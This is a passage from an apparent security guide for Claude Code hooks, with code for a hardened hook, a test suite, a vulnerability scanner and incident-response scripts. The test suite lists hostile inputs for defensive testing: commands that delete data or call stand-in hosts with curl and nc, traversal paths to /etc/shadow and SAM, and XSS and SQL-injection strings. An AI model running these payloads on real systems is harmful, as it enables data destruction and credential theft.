import shutil
shutil.rmtree(self.temp_dir, ignore_errors=True)
def handle_file_modification(self, data: Dict[str, Any]) -> int:
"""Handle file modification with security checks"""
file_path = data['tool_input']['file_path']
# Run formatter with security constraints
result = subprocess.run(
['prettier', '--write', file_path],
capture_output=True,
text=True,
timeout=30,
cwd=self.project_root, # Restrict to project directory
env={
'PATH': '/usr/local/bin:/usr/bin:/bin',
'HOME': self.temp_dir # Isolate home directory
}
)
if result.returncode != 0:
print(f"Formatter failed: {result.stderr}", file=sys.stderr)
return 1
return 0
def handle_file_read(self, data: Dict[str, Any]) -> int:
"""Handle file read with security checks"""
file_path = Path(data['tool_input']['file_path']).resolve()
# Additional read-specific checks
if not file_path.exists():
print(json.dumps({
'continue': False,
'stopReason': 'File not found'
}))
return 2
# Log access for audit
self.log_access('read', str(file_path))
return 0
def log_access(self, action: str, resource: str):
"""Secure audit logging"""
log_entry = {
'timestamp': datetime.utcnow().isoformat(),
'action': action,
'resource': resource,
'user': os.environ.get('USER', 'unknown'),
'session': os.environ.get('CLAUDE_SESSION_ID', 'unknown')
}
# In production, write to secure log file
# For now, just print to stderr
print(f"AUDIT: {json.dumps(log_entry)}", file=sys.stderr)
def main():
"""Main entry point"""
hook = SecureHook()
try:
# Read input from stdin
data = json.load(sys.stdin)
return hook.execute_hook(data)
except json.JSONDecodeError:
print(json.dumps({
'continue': False,
'stopReason': 'Invalid JSON input'
}))
return 2
except Exception as e:
print(json.dumps({
'continue': False,
'stopReason': 'Hook initialization failed'
}))
return 1
if __name__ == '__main__':
sys.exit(main())2. Security Test Suite for Hooks
#!/usr/bin/env python3
"""
Security test suite for Claude Code hooks
Tests for common vulnerabilities
"""
import unittest
import subprocess
import tempfile
import json
from pathlib import Path
class HookSecurityTests(unittest.TestCase):
"""Test suite for hook security"""
def setUp(self):
self.test_dir = tempfile.mkdtemp()
self.hook_path = Path(__file__).parent / 'secure_hook.py'
def test_command_injection(self):
"""Test command injection prevention"""
malicious_inputs = [
"file.txt; rm -rf /",
"file.txt && curl evil.com",
"file.txt | nc attacker.com 1234",
"$(rm -rf /)",
"`rm -rf /`",
"file.txt\nrm -rf /"
]
for payload in malicious_inputs:
result = self.run_hook({
'tool_name': 'Edit',
'tool_input': {
'file_path': payload
}
})
# Hook should reject malicious input
self.assertEqual(result['exitcode'], 2)
self.assertIn('Security check failed', result['output'])
def test_path_traversal(self):
"""Test path traversal prevention"""
traversal_attempts = [
"../../../etc/passwd",
"..\\..\\..\\windows\\system32\\config\\sam",
"/etc/passwd",
"C:\\Windows\\System32\\config\\SAM",
"./../../../../etc/shadow",
"%2e%2e%2f%2e%2e%2fetc%2fpasswd"
]
for payload in traversal_attempts:
result = self.run_hook({
'tool_name': 'Read',
'tool_input': {
'file_path': payload
}
})
self.assertEqual(result['exitcode'], 2)
self.assertIn('outside project', result['output'].lower())
def test_content_validation(self):
"""Test content validation"""
malicious_contents = [
"<script>alert('XSS')</script>",
"'; DROP TABLE users; --",
"eval('malicious code')",
"__import__('os').system('id')",
"exec(compile('print(1)', '<string>', 'exec'))"
]
for payload in malicious_contents:
result = self.run_hook({
'tool_name': 'Write',
'tool_input': {
'file_path': 'test.txt',
'content': payload
}
})
self.assertIn(['not allowed', 'Security check failed'],
result['output'])
def test_resource_limits(self):
"""Test resource limit enforcement"""
# Test large content
large_content = 'A' * (11 * 1024 * 1024) # 11MB
result = self.run_hook({
'tool_name': 'Write',
'tool_input': {
'file_path': 'large.txt',
'content': large_content
}
})
self.assertEqual(result['exitcode'], 2)
self.assertIn('too large', result['output'].lower())
def test_timeout_handling(self):
"""Test timeout handling"""
# This would require a hook that intentionally delays
# For now, we'll test that timeout parameter is respected
pass
def run_hook(self, input_data):
"""Helper to run hook with input"""
proc = subprocess.run(
['python3', str(self.hook_path)],
input=json.dumps(input_data),
capture_output=True,
text=True,
timeout=5
)
return {
'exitcode': proc.returncode,
'output': proc.stdout + proc.stderr
}
if __name__ == '__main__':
unittest.main()Security Testing and Validation
1. Automated Security Scanner for Hooks
#!/usr/bin/env python3
"""
Automated security scanner for Claude Code hooks
Identifies common vulnerabilities
"""
import ast
import re
from pathlib import Path
from typing import List, Dict, Any
class HookSecurityScanner:
"""Scan hooks for security vulnerabilities"""
def __init__(self):
self.vulnerabilities = []
def scan_file(self, file_path: Path) -> List[Dict[str, Any]]:
"""Scan a single hook file"""
self.vulnerabilities = []
with open(file_path, 'r') as f:
content = f.read()
# Run all checks
self.check_dangerous_functions(content, file_path)
self.check_input_validation(content, file_path)
self.check_command_execution(content, file_path)
self.check_file_operations(content, file_path)
self.check_error_handling(content, file_path)
return self.vulnerabilities
def check_dangerous_functions(self, content: str, file_path: Path):
"""Check for dangerous function usage"""
dangerous_patterns = [
(r'\beval\s*\(', 'HIGH', 'Use of eval() is dangerous'),
(r'\bexec\s*\(', 'HIGH', 'Use of exec() is dangerous'),
(r'__import__', 'MEDIUM', 'Dynamic imports can be dangerous'),
(r'pickle\.loads', 'HIGH', 'Pickle deserialization is unsafe'),
(r'yaml\.load\s*\(', 'HIGH', 'Use yaml.safe_load() instead'),
(r'shell\s*=\s*True', 'HIGH', 'Shell=True enables command injection'),
(r'os\.system', 'HIGH', 'os.system() is vulnerable to injection'),
]
for pattern, severity, message in dangerous_patterns:
matches = re.finditer(pattern, content)
for match in matches:
line_no = content[:match.start()].count('\n') + 1
self.vulnerabilities.append({
'file': str(file_path),
'line': line_no,
'severity': severity,
'type': 'dangerous_function',
'message': message,
'code': match.group()
})
def check_input_validation(self, content: str, file_path: Path):
"""Check for missing input validation"""
# Look for direct use of environment variables without validation
env_patterns = [
(r'os\.environ\[(["\'])(.*?)\1\]', 'Environment variable {} used without validation'),
(r'os\.getenv\((["\'])(.*?)\1\)', 'Environment variable {} used without validation'),
]
for pattern, message_template in env_patterns:
matches = re.finditer(pattern, content)
for match in matches:
var_name = match.group(2)
# Check if validation follows
line_no = content[:match.start()].count('\n') + 1
if not self._has_validation_nearby(content, match.start(), var_name):
self.vulnerabilities.append({
'file': str(file_path),
'line': line_no,
'severity': 'MEDIUM',
'type': 'missing_validation',
'message': message_template.format(var_name)
})
def check_command_execution(self, content: str, file_path: Path):
"""Check for unsafe command execution"""
# Look for subprocess calls with user input
if 'subprocess' in content:
# Try to parse as AST for better analysis
try:
tree = ast.parse(content)
for node in ast.walk(tree):
if isinstance(node, ast.Call):
if hasattr(node.func, 'attr'):
if (hasattr(node.func.value, 'id') and
node.func.value.id == 'subprocess' and
node.func.attr in ['run', 'call', 'Popen']):
# Check if shell=True
for keyword in node.keywords:
if keyword.arg == 'shell' and \
isinstance(keyword.value, ast.Constant) and \
keyword.value.value is True:
self.vulnerabilities.append({
'file': str(file_path),
'line': node.lineno,
'severity': 'HIGH',
'type': 'shell_injection',
'message': 'subprocess with shell=True is dangerous'
})
except SyntaxError:
pass # Not valid Python, skip AST analysis
def check_file_operations(self, content: str, file_path: Path):
"""Check for unsafe file operations"""
unsafe_patterns = [
(r'open\s*\([^)]*\)', 'File operation without explicit encoding'),
(r'Path\([^)]*\)\.unlink\(\)', 'File deletion without validation'),
(r'shutil\.rmtree', 'Directory deletion without validation'),
]
for pattern, message in unsafe_patterns:
matches = re.finditer(pattern, content)
for match in matches:
# Check if there's validation before the operation
line_no = content[:match.start()].count('\n') + 1
if not self._has_path_validation_nearby(content, match.start()):
self.vulnerabilities.append({
'file': str(file_path),
'line': line_no,
'severity': 'MEDIUM',
'type': 'unsafe_file_operation',
'message': message
})
def check_error_handling(self, content: str, file_path: Path):
"""Check for information leakage in error handling"""
leak_patterns = [
(r'traceback\.format_exc\(\)', 'Traceback exposes internal details'),
(r'str\(e\)', 'Raw exception message may leak information'),
(r'print\([^)]*exc_info\s*=\s*True', 'Exception details printed'),
]
for pattern, message in leak_patterns:
matches = re.finditer(pattern, content)
for match in matches:
line_no = content[:match.start()].count('\n') + 1
self.vulnerabilities.append({
'file': str(file_path),
'line': line_no,
'severity': 'LOW',
'type': 'information_disclosure',
'message': message
})
def _has_validation_nearby(self, content: str, position: int,
variable: str, context_lines: int = 5) -> bool:
"""Check if validation exists near the variable usage"""
# Simple heuristic: look for validation patterns nearby
start = max(0, position - 200)
end = min(len(content), position + 200)
context = content[start:end]
validation_patterns = [
f'if.*{variable}',
f'validate.*{variable}',
f'check.*{variable}',
f'{variable}.*in.*ALLOWED',
]
for pattern in validation_patterns:
if re.search(pattern, context):
return True
return False
def _has_path_validation_nearby(self, content: str, position: int) -> bool:
"""Check if path validation exists nearby"""
start = max(0, position - 300)
end = min(len(content), position + 300)
context = content[start:end]
validation_indicators = [
'validate.*path',
'check.*path',
'Path.*resolve',
'relative_to',
'is_relative_to',
]
for indicator in validation_indicators:
if re.search(indicator, context, re.IGNORECASE):
return True
return False
def generate_report(self, vulnerabilities: List[Dict[str, Any]]) -> str:
"""Generate security report"""
if not vulnerabilities:
return "No security vulnerabilities found!"
report = "Security Scan Report\n" + "=" * 50 + "\n\n"
# Group by severity
by_severity = {'HIGH': [], 'MEDIUM': [], 'LOW': []}
for vuln in vulnerabilities:
by_severity[vuln['severity']].append(vuln)
for severity in ['HIGH', 'MEDIUM', 'LOW']:
if by_severity[severity]:
report += f"\n{severity} Severity Issues ({len(by_severity[severity])})\n"
report += "-" * 30 + "\n"
for vuln in by_severity[severity]:
report += f"\nFile: {vuln['file']}, Line {vuln['line']}\n"
report += f"Type: {vuln['type']}\n"
report += f"Message: {vuln['message']}\n"
if 'code' in vuln:
report += f"Code: {vuln['code']}\n"
return report
# Example usage
if __name__ == '__main__':
scanner = HookSecurityScanner()
# Scan all Python hooks in the .claude directory
hook_dir = Path('.claude/hooks')
if hook_dir.exists():
for hook_file in hook_dir.glob('*.py'):
print(f"\nScanning {hook_file}...")
vulnerabilities = scanner.scan_file(hook_file)
print(scanner.generate_report(vulnerabilities))Emergency Response Procedures
1. Incident Response Plan
#!/bin/bash
# Claude Hook Security Incident Response Script
# Emergency hook disable function
disable_all_hooks() {
echo "EMERGENCY: Disabling all Claude Code hooks..."
# Backup current configuration
if [ -f ".claude/settings.json" ]; then
cp .claude/settings.json ".claude/settings.json.backup.$(date +%Y%m%d_%H%M%S)"
# Create minimal safe configuration
cat > .claude/settings.json << EOF
{
"hooks": {
"disabled": true,
"reason": "Security incident response - $(date)"
}
}
EOF
echo "All hooks have been disabled."
else
echo "No hooks configuration found."
fi
}
# Audit recent hook activity
audit_hook_activity() {
echo "Auditing recent hook activity..."
# Check for suspicious file modifications
echo "Files modified in last hour:"
find . -type f -mmin -60 -ls | grep -v ".git/"
# Check for new files
echo -e "\nNew files created in last hour:"
find . -type f -cmin -60 -ls | grep -v ".git/"
# Check git status
echo -e "\nGit status:"
git status --porcelain
# Check for suspicious processes
echo -e "\nClaude-related processes:"
ps aux | grep -i claude | grep -v grep
}
# Collect forensic data
collect_forensics() {
INCIDENT_DIR="claude-incident-$(date +%Y%m%d_%H%M%S)"
mkdir -p "$INCIDENT_DIR"
echo "Collecting forensic data to $INCIDENT_DIR..."
# Copy hook logs
if [ -d ".claude/logs" ]; then
cp -r .claude/logs "$INCIDENT_DIR/"
fi
# System information
{
echo "=== System Information ==="
date
whoami
pwd
echo -e "\n=== Environment Variables ==="
env | grep -E "(CLAUDE|PATH|USER|HOME)" | sort
echo -e "\n=== Recent Commands ==="
history | tail -50
} > "$INCIDENT_DIR/system_info.txt"
# Create incident report template
cat > "$INCIDENT_DIR/incident_report.md" << EOF
# Claude Code Hook Security Incident Report
**Date**: $(date)
**Reporter**: $(whoami)
**Severity**: [HIGH/MEDIUM/LOW]
## Summary
[Brief description of the incident]
## Timeline
- [Time]: Initial detection
- [Time]: Hook disabled
- [Time]: Investigation started
## Impact Assessment
- Files affected: [List]
- Data exposed: [Yes/No/Unknown]
- Systems compromised: [List]
## Root Cause
[Description of vulnerability]
## Remediation Steps
1. Disabled all hooks
2. [Additional steps taken]
## Recommendations
- [Future prevention measures]
EOF
echo "Forensic data collected in $INCIDENT_DIR"
}
# Main menu
echo "Claude Code Hook Security Incident Response"
echo "=========================================="
echo "1. EMERGENCY - Disable all hooks immediately"
echo "2. Audit recent hook activity"
echo "3. Collect forensic data"
echo "4. Run all response procedures"
echo -n "Select action (1-4): "
read -r action
case $action in
1) disable_all_hooks ;;
2) audit_hook_activity ;;
3) collect_forensics ;;
4)
disable_all_hooks
audit_hook_activity
collect_forensics
echo -e "\nAll emergency procedures completed."
;;
*) echo "Invalid selection" ;;
esac2. Post-Incident Security Hardening
#!/usr/bin/env python3
"""
Post-incident security hardening for Claude Code hooks
"""
import json
import hashlib
from pathlib import Path
from datetime import datetime
class SecurityHardening:
"""Apply security hardening after incident"""
def __init__(self):
self.config_path = Path('.claude/settings.json')
self.security_config = {
'version': '2.0',
'security': {
'strict_mode': True,
'require_signing': True,
'allowed_hooks': [],
'max_execution_time': 30,
'audit_all_operations': True
}
}
def apply_hardening(self):
"""Apply all security hardening measures"""
print("Applying security hardening...")
# Create new secure configuration
self.create_secure_config()
# Set up hook signing
self.setup_hook_signing()
# Create audit configuration
self.setup_audit_logging()
# Apply file permissions
self.secure_file_permissions()
print("Security hardening complete!")
def create_secure_config(self):
"""Create secure hook configuration"""
config = {
'hooks': {
'enabled': False, # Start with hooks disabled
'security': self.security_config,
'whitelist': {
'tools': ['Edit', 'Write', 'Read'],
'file_extensions': ['.py', '.js', '.ts', '.json'],
'paths': ['./src', './tests']
},
'PreToolUse': [{
'matcher': '.*',
'hooks': [{
'type': 'security-validator',
'script': '.claude/security/validator.py'
}]
}]
}
}
# Backup existing config
if self.config_path.exists():
backup = self.config_path.with_suffix('.json.pre-hardening')
self.config_path.rename(backup)
# Write new config
with open(self.config_path, 'w') as f:
json.dump(config, f, indent=2)
print(f"Created secure configuration at {self.config_path}")
def setup_hook_signing(self):
"""Set up cryptographic signing for hooks"""
signing_dir = Path('.claude/security')
signing_dir.mkdir(exist_ok=True)
# Generate signing configuration
signing_config = {
'enabled': True,
'algorithm': 'sha256',
'trusted_signers': [],
'verification_required': True
}
with open(signing_dir / 'signing.json', 'w') as f:
json.dump(signing_config, f, indent=2)
# Create hook signature validator
validator_script = '''#!/usr/bin/env python3
import json
import sys
import hashlib
def verify_hook_signature(hook_path, expected_hash):
"""Verify hook file hasn't been tampered with"""
with open(hook_path, 'rb') as f:
actual_hash = hashlib.sha256(f.read()).hexdigest()
return actual_hash == expected_hash
def main():
data = json.load(sys.stdin)
# Add signature verification logic here
return 0
if __name__ == '__main__':
sys.exit(main())
'''
validator_path = signing_dir / 'validator.py'
with open(validator_path, 'w') as f:
f.write(validator_script)
validator_path.chmod(0o750)
print("Hook signing configured")
def setup_audit_logging(self):
"""Configure comprehensive audit logging"""
audit_dir = Path('.claude/audit')
audit_dir.mkdir(exist_ok=True)
audit_config = {
'enabled': True,
'log_level': 'INFO',
'retention_days': 90,
'log_format': 'json',
'events_to_log': [
'hook_execution',
'file_modification',
'permission_change',
'configuration_update',
'security_violation'
]
}
with open(audit_dir / 'config.json', 'w') as f:
json.dump(audit_config, f, indent=2)
print("Audit logging configured")
def secure_file_permissions(self):
"""Apply secure file permissions"""
# Secure the .claude directory
claude_dir = Path('.claude')
if claude_dir.exists():
claude_dir.chmod(0o700)
# Secure all configuration files
for config_file in claude_dir.glob('**/*.json'):
config_file.chmod(0o600)
# Secure all hook scripts
for hook_script in claude_dir.glob('**/*.py'):
hook_script.chmod(0o750)
print("File permissions secured")
if __name__ == '__main__':
hardening = SecurityHardening()
hardening.apply_hardening()Conclusion
This comprehensive guide provides the essential security knowledge needed to develop secure Claude Code hooks. By following these practices, you can significantly reduce the risk of security vulnerabilities in your automation workflows.
Key Takeaways
- Never Trust Input: Always validate and sanitize all inputs, regardless of source
- Defense in Depth: Layer multiple security controls for maximum protection
- Least Privilege: Grant only the minimum permissions necessary
- Fail Securely: Handle errors without exposing sensitive information
- Audit Everything: Maintain comprehensive logs for security analysis
- Stay Updated: Security is an ongoing process - regularly review and update your hooks
Additional Resources
- Hook Security Best Practices
- Security Hub
- Security Troubleshooting
- OWASP Top 10 for LLM Applications
Remember: Security is not optional. Every hook you write should incorporate these security practices from the beginning. The cost of fixing security issues after deployment is exponentially higher than building secure hooks from the start.